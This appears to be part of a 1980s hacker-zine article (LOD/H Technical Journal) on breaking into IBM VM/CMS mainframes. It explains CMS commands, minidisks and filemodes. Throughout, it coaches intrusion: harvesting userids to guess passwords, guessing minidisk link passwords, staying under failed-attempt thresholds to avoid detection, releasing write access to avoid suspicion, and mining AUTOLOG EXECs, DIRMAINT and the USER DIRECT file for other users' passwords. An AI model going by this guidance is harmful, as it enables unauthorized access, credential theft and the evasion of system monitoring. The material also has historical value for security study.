Query allows you to obtain various information about the system. A full list
can be found from using HELP.
One of the most important QUERY commands to the hacker is:
.Q NAMES
OPERATOR - 01F, SMART - DSC, CMS0349 - B27, LOGO0180 - B31
VSM - VMVS1
SCOTT -TP11WFM2, CMS1211 -TP11WF64, OPERATNS-TP11WFY1
R; T-0.01/0.01 11:34:28
There can be many users online, usually this list will contain from 30 to 100
users. The last user online was OPERATNS, since it was last in the list. The
SMART userid is DSC, or in a disconnected state. Usually a terminal will
remain disconnected for 15 to 30 minutes and then is totally logged off the
system. If you logon to an already disconnected terminal, the system will reply
with "RECONNECTED AT time". The other 2 userids on the same line as SMART are
probably connected terminals which are in a pre-logged in or pending logon
state. VSM - VMVS1 is another system running parallel to (or under) CMS.
The QUERY NAMES command allows you to gain a little more security for yourself
on the system. It allows you to gain more valid usernames to attempt passwords
for in the unfortunate event that your current userid dies. Another use is that
you can start to compile your "common accounts" list of userids which are found
on VM/CMS systems. This list should get larger and larger as you gain access to
more and more systems and will allow you to gain access to more systems as it
gets larger.
If you can't count how many users are online from the Q NAMES list:
.Q USERS
0007 USERS, 0000 DIALED, 0000 NET
If you didn't catch the logon message you can view it again by:
.Q LOGMSG
To see what release of CMS the system is:
.Q CMSLEVEL
VM/SP REL. 4, SERVICE LEVEL 417
If you are wondering which IBM mainframe CMS is running on, you can issue:
.Q CPUID
FF01472343810000
This can be interpreted as follows:
CPUID= aabbbbbbccccdddd
aa= "FF" when running VM/SP
bbbbbb= The processor ID number
cccc= The model number of the system. In the above case, CMS is running on
an IBM 4381 system.
dddd= "0000" This is not used for CP.
SENDFILE allows you to send files within any minidisk that is currently
accessed by you to another user. Anytime you send a file an entry is made in
the file USERID NETLOG (where USERID is the user you are sending the file to).
This command is also used for sending NOTE files which can be created with an
editor and send to whomever as E-MAIL.
If you are tired of seeing a text listing, or have attempted to read a compiled
program and wish to exit or break out of it, simply hit a hard-break, and then
type HX. HX is for Halt eXecution. It will halt whatever you are doing and put
you back into the CMS environment. It may take a few lines of text after
entering it for the system to stop the process.
--- End of Part A ---
--- Attach Part B here ---
The LOD/H Technical Journal: File #9 of 10
Hacking IBM's VM/CMS Operating System
PART B
Command Interpretation Chart: The following chart will compare the commands
used on VAX/VMS, UNIX, and VM/CMS to allow those who are familiar with the
other Operating Systems to quickly reference its CMS counterpart.
+-----------------+---------------+----------------------+--------------------+
! VAX/VMS ! UNIX ! VM/CMS ! SHORT EXPLANATION !
+-----------------+---------------+----------------------+--------------------+
! /NOCOMMAND ! *****NONE**** ! NOIPL ! aborts login pgm !
+-----------------+---------------+----------------------+--------------------+
! SHOW USERS ! WHO ! QUERY NAMES ! online userlisting !
+-----------------+---------------+----------------------+--------------------+
! DIRECTORY ! LS ! LISTFILE or FILELIST ! show current dir. !
+-----------------+---------------+----------------------+--------------------+
! TYPE filename ! CAT filename ! TYPE fname ftype fm ! list or view files !
+-----------------+---------------+----------------------+--------------------+
! EDIT ! ED or VI or EX! XEDIT ! system editor !
+-----------------+---------------+----------------------+--------------------+
! DELETE filename ! REMOVE filenme! ERASE fname ftype fm ! deletes files !
+-----------------+---------------+----------------------+--------------------+
! PHONE username ! WRITE user ! TELL userid ! user communication !
+-----------------+---------------+----------------------+--------------------+
! Control-Y ! Ctrl-Backslash! Hard-break then HX ! aborts process !
+-----------------+---------------+----------------------+--------------------+
Corresponding files:
+-----------------+---------------+--------------+----------------------------+
! SYSUAF.DAT ! /ETC/PASSWD ! USER DIRECT ! Userlist & user information!
! MAIL.TXT ! USR/MAIL/user ! USERID NOTE ! Electronic mail files !
! LOGIN.COM ! .PROFILE ! PROFILE EXEC ! User login command files !
+---------------------------------+--------------+----------------------------+
Local Commands:
---------------
Local commands are commands written for an individual system. They are
customized commands that suit a facilities' needs. These commands are execs
which are either not available from IBM or are cheaper to write on their
own. I will mention a few which may be found on other systems, as these are
rather common.
WHOIS
This command gives a little information about the users that you specify which
are on the system.
.WHOIS MAINT BACKUP MAILER BUBBA RELAY VMUTIL
Userid Name
--------- ---------
MAINT System Maintenance Account
BACKUP VM System Backup and Recovery Machine
MAILER BITNET Inter-Node Mail Processing Machine
BUBBA Bubba B. Bonehead - Programmer/Analyst Extroadinaire
RELAY BITNET Internet Chat Facility
VMUTIL VM Utilization Statistics
SYSPASS
READPW
WRITEPW
In most cases, the only way to change a users' password is by having the system
operator or someone with high privileges do it. This is one reason why many
passwords remain the same for long periods of time. These programs allow users
to change their logon password, read access minidisk password and write access
minidisk password respectively. Perhaps you will find these or similar programs
on some systems.
Privileged Commands:
--------------------
As far as I know, there is no command to determine which privilege class the
userid you are abusing is. The only way is to check in the CP Directory for it.
The following are some privileged commands and what privilege class is needed
to run them. Again, as far as I know, the system keeps no records of failed
attempts at running privileged commands. Use of these commands are most likely
recorded, has a msg sent to the system console or both, especially when using
FORCE.
FORCE userid (Class A)
This command will forcibly log off the userid you specify. I really can see
no reason other than to be a total asshole for abusing this command.
DISABLE raddr (or) all (Class A or B)
This is used to prevent specific terminals or all terminals from logging onto
the system. Again, there is no real reason to use this or most other privileged
commands for that matter unless you want to be kicked off of the machine. If
you do DISABLE a terminal, simply use ENABLE to repair the damage.
DETACH realaddr (FROM) whatever (Class B)
This is used to detach real devices from the system. These can be terminals,
printers, disk packs, tape drives, etc. You must know the real address of the
device, and 'whatever' can be the system, or a userid.
WARNING userid (or) operator or all (Class A or B)
Warning will send a priority message to a user, operator or all users on the
system. It will interrupt anything they happen to be doing. Obviously sending
a msg to all users stating they are BONEHEADS is not recommended.
MINIDISKS:
----------
A minidisk is a subdivision of consecutive cylinders on a real DASD volume. The
real DASD device, is the actual disk the information is stored on. This can be
compared to a hard drive for an IBM PC. Before the drive can be used, it must
be formatted. Once formatted, it is divided up into directories which are
minidisks. Each minidisk is a number of cylinders which is the standard memory
storage unit. There can be many minidisks on a DASD. Associated with each CMS
disk, is a file directory, which contains an entry for every CMS file on the
disk. A minidisk can be defined for R/W or R/O access. It can also be used for
temporary or permanant storage of files. Each minidisk has a virtual address.
Virtual addresses can be from 001-5FF (hexidecimal) in basic control mode, and
001-FFF in ECMODE (Extended Control Mode).
CMS minidisks can be accessed according to a letter of the alphabet (A-Z). In
order to better explain this, lets assume we are logged onto a VM/CMS system
under the userid of JOE and we want to see what minidisks we have access to.
We use the QUERY SEARCH command to determine which disks we are ATTACHed to.
.Q SEARCH
JOE001 191 A R/W
JOE002 192 D R/O
CMS190 190 S R/O
CMS19E 19E Y/S R/O
As can be seen each minidisk has a volume name, virtual address, filemode,
and access mode. The A disk is the default. Most accounts you gain access with
will have an A disk with a virtual address of 191. The S disk is the System
disk. This contains the files and programs for running the system. The same
goes for the Y disk. The D disk is another disk used by JOE.
You can view what each of these directories contains by issueing the LISTFILE
command.
.LISTF
BUBBA NOTE A1
MISC WHATEVER A1
PROFILE EXEC A0
This is a list of files on the A disk. The first column is the Filename the
second is the Filetype and the third is the filemode. Filenames can be anything
you specify. Filetypes can also be anything you specify, but commonly follow a
pattern which tells what type of file it is. Filemodes are comprised of a
filemode letter (A-Z) and a filemode number (0-6).
Filenames can contain the following characters: A-Z 0-9 $ # + - : ` U
Here is an explanation of common filetypes:
Filetype ! Description
---------+-------------
DATA ! Data for programs or simply TYPE-able text.
EXEC ! User written programs or IBM procedures written in REXX.
HELP ! System HELP files.
HELPCMS ! System HELP files.
LANGUAGE ! One of the langauges that the system supports, such as ASSEMBLE,
! COBOL, FORTRAN, JCL, REXX, PL1, SNOBALL, BINARY, ETC.
LISTING ! Program source code listings
LOADLIB ! Loading Library
MACLIB ! Macro Library
MODULE ! System commands
NETLOG ! Contains a list of all files which have been SENT to other users.
NOTE ! Similar to E-MAIL on other systems, a note sent from another user.
SOURCE ! SOURCE code for various programs.
TEXT ! Text file. Probably used for programs and when TYPEd yields little.
TXTLIB ! Text Library
WHATEVER ! A nonstandard filetype which will probably be somewhat descriptive
! of its contents.
XEDIT ! A file which was created using the XEDIT utility.
Both filenames and filetypes must not exceed 8 characters in length.
Filemodes:
Filemode numbers are classified as follows:
Filemode 0 There is little file security on VM/CMS. This may be due to the
fact that directory security is very good. A file with a mode of
zero makes that file invisible to other users unless they have
Read/Write access to that disk. When you LINK to someones' disk
in Read/Only mode and get a directory listing, files with a mode
of 0 will not be listed.
Filemode 1 This is the default filemode. When reading or writing files, you
do not have to specify a filemode letter of 1 (unless you want
to) since it will default to it.
Filemode 2 This is basically the same as a filemode of 1. It is mainly
assigned to files which are shared by users who link to a common
disk, like the system disk.
Filemode 3 Be careful when you see these! These are erased after they have
been read. If a file with a mode of 3 is printed or read it will
be erased. Blindly reading files without paying attention to
the filemode numbers can shorten your stay on the system. The
main reason for this filemode is for the files or programs which
are unimportant or have one time use can be automatically deleted
to keep disk space and maintenance to a minimum.
Filemode 4 This is used for files that are to simulate OS data sets. They are
created by OS macros in programs running in CMS. I have not found
any files with this filemode, so for the time being, you should
not be concerned about it.
Filemode 5 This is basically the same as filemode 1. It is different in that
its used for groups of files or programs. It makes it easier for
deleting files a user wants to keep for a certain period of time.
You could just enter:
ERASE * * A5
Now all files on the A disk with a filemode of 5 will be deleted.
Filemode 6 Files with this mode are re-written back to disk in the same place
which is called "update-in-place". I have no idea why this would
be specified, and have not found any files with a filemode of 6.
Filemode 7-9 These are reserved for IBM use.
Look back to our Q Search listing. If you want to see what is on the D disk:
.LISTF * * D
NOTMUCH ONHERE D1
In this case, the D disk only contains 1 file called NOTMUCH with a filetype of
ONHERE. But do not forget the fact that you only have Read/Only access to the
D minidisk! So there may or maynot be merely 1 file on the D disk. Remember all
filemodes of 0 (which in this case would be D0) are invisible to anyone who
does not posses Read/Write access.
You can access any disk that you are ATTACHed to by replacing the D in the
above example with the filemode letter (A-Z) you want to access. As was shown
previously, the QUERY SEARCH command will give you a list of minidisks that
your userid is attached to upon logging in. These command statements are
usually found in your PROFILE EXEC.
So you can access a few minidisks. There may be hundreds on the system. Unlike
UNIX and VMS, and most other Operating Systems for that matter you cannot issue
a command and some wildcard characters to view the contents of every users'
directory. In order to access another users' directory (minidisk) you must have
the following:
1) The USERID of the person whose disk you wish to access.
2) The virtual address(es) (CUU) that the USERID owns.
3) The Read, Write, or Multi disk access password, depending on which
access mode you wish to use.
This would be accomplished by the following:
.LINK TO BUBBA 191 AS 555 RR
Enter READ link password:
*************************
HHHHHHHHHHHHHHHHHHHHHHHHH
SSSSSSSSSSSSSSSSSSSSSSSSS
.RBUBBA
R; T=0.01/0.01 21:58:48
.ACCESS 555 B
R; T=0.01/0.01 21:59:03
.Q SEARCH
JOE001 191 A R/W
BUB001 555 B R/O
JOE002 192 D R/O
CMS190 190 S R/O
CMS19E 19E Y/S R/O
.LISTF * * B
MISCFILE DATA B1
PROFILE EXEC B1
.REL 555
R; T=0.01/0.01 22:02:01
Now an explanation for the events which have just occured.
The LINK command is used to access other users' minidisks. The format is:
.LINK (TO) USERID VADDR1 (AS) VADDR2 (MODE) ((PASS=)PASSWORD)
BUBBA is the USERID whose disk we wish to access.
VADDR1 is a virtual address which belongs to the BUBBA userid. If BUBBA was to
access our minidisk whose userid is JOE, he could access either our 191 address
or our 192 address. The 190 and 19E addresses are usually automatically
accessed by nearly all the users of the system since it contains system
commands. We are assuming that BUBBA indeed has a minidisk with the virtual
address of 191. Some userid's may not have any or they may have addresses which
are somewhat obscure, say of 13A or 503. The only way we would be able to
access those assuming BUBBA did not give them to us would be to guess them.
This would be rather difficult, timeconsuming, and dangerous as we will soon
see.
VADDR2 is any address which is not currently in our control, (ie. in our Q
Search which would be 190, 191, 192, 19E) and is in the range of 001 to 5FF in
Basic Control or FFF in Extended Control. In this example, we chose to use 555.
We could have easily used 104, 33F, 5FA, etc.
MODE is the access mode which consists of up to 2 letters. The first letter
specifies the Primary access mode. The second letter is optional and designates
the alternate access mode. If the primary mode is not available, the alternate
is used.
The access mode we used was RR. Valid access modes are:
R Primary Read/Only access. This is the default. You can opt to not specify
an access mode when linking to a users' disk, and this is the mode which is
used. It will only work if no other links are in effect.
RR This allows read access no matter what links are in effect to that users'
disk.
W Primary Write access. This is only good if no other links are in effect.
WR If Write is available then the link will be made, if not it will goto Read.
M Primary Multiple access.
MR Resorts to Read if Multi is unavailabe.
MW This garauntees write access no matter what.
If another user has write access to one of your disks when you log on, your
access will be forced to Read/Only. For this reason, you should have read
access to others disks instead of write. If you wish to see what files have a
filemode of zero, then link with write access, view or access those files, then
RELEASE the disk and re-access it via read to avoid suspicion by that user of
unauthorized individuals gaining write access to his files.
If a user has write access to a disk, you cannot gain write access unless you
use a mode of MW. It is not recommended to have write access to anothers' disk
if they themselves have write access. CMS cannot guarantee the integrity of
the data on a disk which has more than one person linked to it with write
access. Now if you see that the user is in a disconneced (DSC) state through
the Q NAMES command, then it shouldn't be a problem if you have write access
also since the person is not active. If that person re-connects however, then
it is advisable to RELEASE that disk as soon as possible to avoid any chance of
data being destoyed.
PASS=PASSWORD like the logon password, it can be a 1-8 character string that
MUST match the access mode password for the VADDR1 of the userid which you are
attempting to gain access to. Up to three access mode passwords can exist for
each minidisk, R, W, and M.
If the installation uses the Password Suppression Facility, an INVALID FORMAT
message will be issued when you attempt to enter the password for a disk on the
same line as the LINK command was entered on. Obviously this is to prevent
people from 'spoofing' the password off the screen or from printouts found in
the trash. If this occurs, just hit return after entering the access mode, and
wait for the enter password response.
Every disk password along with every users password and other information is
contained in the CP Directory. If the password is "ALL" then a password is not
required for any user so you will not be asked for one. You will then recieve
a ready message indicating that the transaction has just been completed.
If you receive the message: "BUBBA 191 NOT LINKED; NO READ PASSWORD" then
within the CP Directory, there is no read password at all. This means that the
only way you can gain access to BUBBA's directory would be by getting his logon
password. One note, I believe that a users logon password cannot be any of his
access mode passwords. The reasons for this are obvious. If BUBBA wants JOE to
access a disk, then he can give JOE the corresponding disk password. If this
was identical to his logon password then JOE could logon as BUBBA and access
all BUBBA's disks with no problem, and at the same time posses all the privs
that BUBBA has. Within the CP directory, if there is no password entry for read
access then there are no entries for write nor multi. If there is no entry for
write then there may or may not be an entry for read, but definitly not one for
multi. And finally if there is no entry for multi then there may or may not be
entries for read and write.
The methods for obtaining disk access passwords are the same as anything else.
Common sense and "Password Psychology" come into account along with the element
of luck.
Assume the userid is VMTEST and you are hacking the READ password. Passwords
may be: RVMTEST, RVM, RTEST, RTESTVM. Others may be READ, READVM, VMREAD,
READTEST, TESTREAD and even VMTEST. Of course it could be something like: J2*Z5
Many times the same password will be used for R, W, and M access instead of
three separate passwords.
CP keeps track of unsuccessful LINK attempts due to invalid passwords. When you
exceed the maximum number of incorrect password attempts, which usually
defaults to 10, the link command will be disabled for the remainder of your
stay on the system. All you have to do is re-logon and you will have full use
of LINK again.
If the LOGON/AUTOLOG/LINK journaling facility is activated, unsuccessful link
attempts due to the above are recorded. When the threshold is reached the
userid whose password you are trying to hack is sent a message. Therefore, keep
track of the number of attempts you make and keep just short of the system
threshold.
After successfully linking to a users' disk, you must issue the ACCESS command
in order to get a directory listing or access any files on that disk. This is
accomplished by:
.ACCESS VADDR2 B
VADDR2 is the address after 'AS' in your link command line, and 'B' is the
filemode letter which you wish to access the disk as. This can be anything but
the letters which you have already assigned up to a total of 26 (A-Z).
After accessing the disk to your hearts content, you can then RELEASE it. When
you logoff the disk is automatically released. Releasing the disk is not
necessary unless you already are attached to 26 minidisks, and you want to
access more. You would then release whatever disks you wish and link then
access others. After releasing disks, and you want to re-access that disk, you
do not have to issue another link command but merely the ACCess command and
what filemode you wish it to be.
The QUERY DASD command will list the minidisks that most everyone on the system
has access to. All of these may or maynot be automatically accessed upon logon.
For this reason, you should issue it, then all you have to do is ACCess the
virtual address and define the filemode.
.Q DASD
DASD 190 3380 SYSRES R/O 32 CYL
DASD 191 3380 SYSRES R/W 1 CYL
DASD 192 3380 SYSRES R/O 2 CYL
DASD 193 3380 SYSRES R/O 19 CYL
DASD 194 3380 SYSRES R/O 21 CYL
DASD 19E 3380 SYSRES R/O 27 CYL
In our Q SEARCH list, we have access to 190 as the system disk, 191 as our A
disk, 192 as our D disk, 19E as the systems' Y disk. Both 193 and 194 are
accessable but have not been accessed by us. Thus:
.ACC 193 B
B (193) R/O
.
Now the 193 disk is our B disk and accessable by us. You can perform the same
procedure for the 194 disk.
DIRMAINT:
---------
The Directory Maintenance utility can be found on some systems. If it is
running, DIRMAINT should be a valid userid. The DIRMAINT userid is
automatically initialized when the system is started up. It remains in
Disconnected mode awaiting transactions which contain directory maintenance
commands.
If you come across a system with DIRMAINT, it will provide you with all the
information you need to know about it. A few commands are important, at least
to the hacker:
MDPW This displays access passwords for one or all of that userid's minidisks.
.DIRM MDPW
DVHDIR005R ENTER CURRENT CP PASSWORD TO VALIDATE COMMAND OR A NULL TO EXIT:
R; T=0.12/0.15 19:33:34
DVHMDF301I MINIDISK 191: RBUBBA WBUBBA MBUBBA
DVHMDF301I MINIDISK 192: RBUBPW BONEHEAD MULTIBUB
The reason you must enter the users logon password is obvious. If someone walks
up to a users terminal and wants to know what the guys disk passwords are all
he would have to do is enter this command and would get them, except for the
fact that it does ask for the users logon password, thus, protecting the disk
passwords.
Help Get more info on DIRM commands.
PW This changes a users logon password
PW? Find out how long it was since the user changed his logon password.
MDISK Change access mode, change, add, or delete passwords.
LINK Cause an automatic link, at logon, to another users minidisk.
FOR Enter a DIRMaint command for another user if authorized.
THINGS YOU WANT:
----------------
Things you want are: More valid userid's to try passwords on, actual logon
passwords, and disk access passwords. Obtaining userid's can be accomplished by
using the Q NAMES command every time you logon. Obtaining logon passwords isn't
as simple. There are a couple of places which you will want to explore.
The AUTOLOG1 or AUTOOP virtual machines (userid's) usually auto-logon other
userid's. Now, in order to do this they must have those users' passwords. These
are contained within various EXECs within their user directory. If you can
obtain a valid disk access password for whichever one of these is running on
your particular system, you can get more passwords and possibly some disk
access passwords for about 10 other userid's. This should allow you to get more
disk access passwords and hopefully more logon passwords. Nevertheless, having
obtained a few more passwords, and not using them until the original one you
hacked dies, will greatly extend your stay on the system.
EXEC files from any user may contain more disk access passwords for other users
and those users directories may contain EXECs which have more passwords, and
so on. Of course many other types of files may contain this type of
information.
The CP directory, this is similar to a big bullseye on a target. This
directory, as previously explained contains users' passwords, various system
information and minidisk passwords. The directory usually goes under the
filename/filetype of USER DIRECT. It can be anywhere on the system, and can
have a different name which in my view would add to system security. It is
usually found in either or both of two users' directorys which I leave to you
to find (sorry). This is a very big weakness in CMS due to the fact that if you
can find what userid the directory is in, and it's disk access password, you've
got the system by the balls. The file may also have a filetype of INDEX which
is a compilation or sorting of pertinent information used for speeding up
various procedures the system carries out constantly. A typical entry in the
USER DIRECT file would look like:
USER BUBBA BUBAPASS 1M 3M BG
VMU01000
ACCOUNT 101 SYSPROG
VMU01010
IPL CMS
VMU01020
CONSOLE 00D 3215
VMU01030
SPOOL 00C 2540 READER *
VMU01040
SPOOL 00D 2540 PUNCH *
VMU01050
SPOOL 00E 1403 A
VMU01060
LINK MAINT 190 190 RR
VMU01070
LINK MAINT 19D 19D RR
VMU01080
LINK MAINT 19E 19E RR
VMU01090
MDISK 191 3350 152 003 VMPK01 MR RBUBBA WBUBBA MBUBBA
MDISK 192 3350 152 003 VMPK01 MR RBUBPW BONEHEAD MULTIBUB
VMU01100
*
The first line gives the userid of BUBBA, password BUBAPASS, 1 and 3 Megs of
virtual memory, and Privilege Classes B and G. The next line gives the account
number and department or owner of the account. The next few lines define
miscellaneous system information. Next, three lines of what disks should be
automatically linked to upon logon. And finally the minidisk (MDISK) virtual
addresses and corresponding passwords.
CONCLUSION:
-----------
As usual, there is always more I could add to an article like this one. I did
not want to keep writing part after part so I wrote a 'complete' article on
Hacking VM/CMS. I apologize for its length of over 50K but I wanted to mention
everything you needed to become familiar with the Operating System and its
Security/Insecurity. I intentionally 'forgot' to mention various information
which would put sensitive and destructive information in the hands of anyone
who reads this article. The information within this article can and will be
different from system to system so don't take anything too literally. This
article is comprised: 80% information from actual system use, 10% CMS help
files, and 10% from various CMS documentation. I may write a followup article
of shorter length as more people become familiar with CMS.
Lex Luthor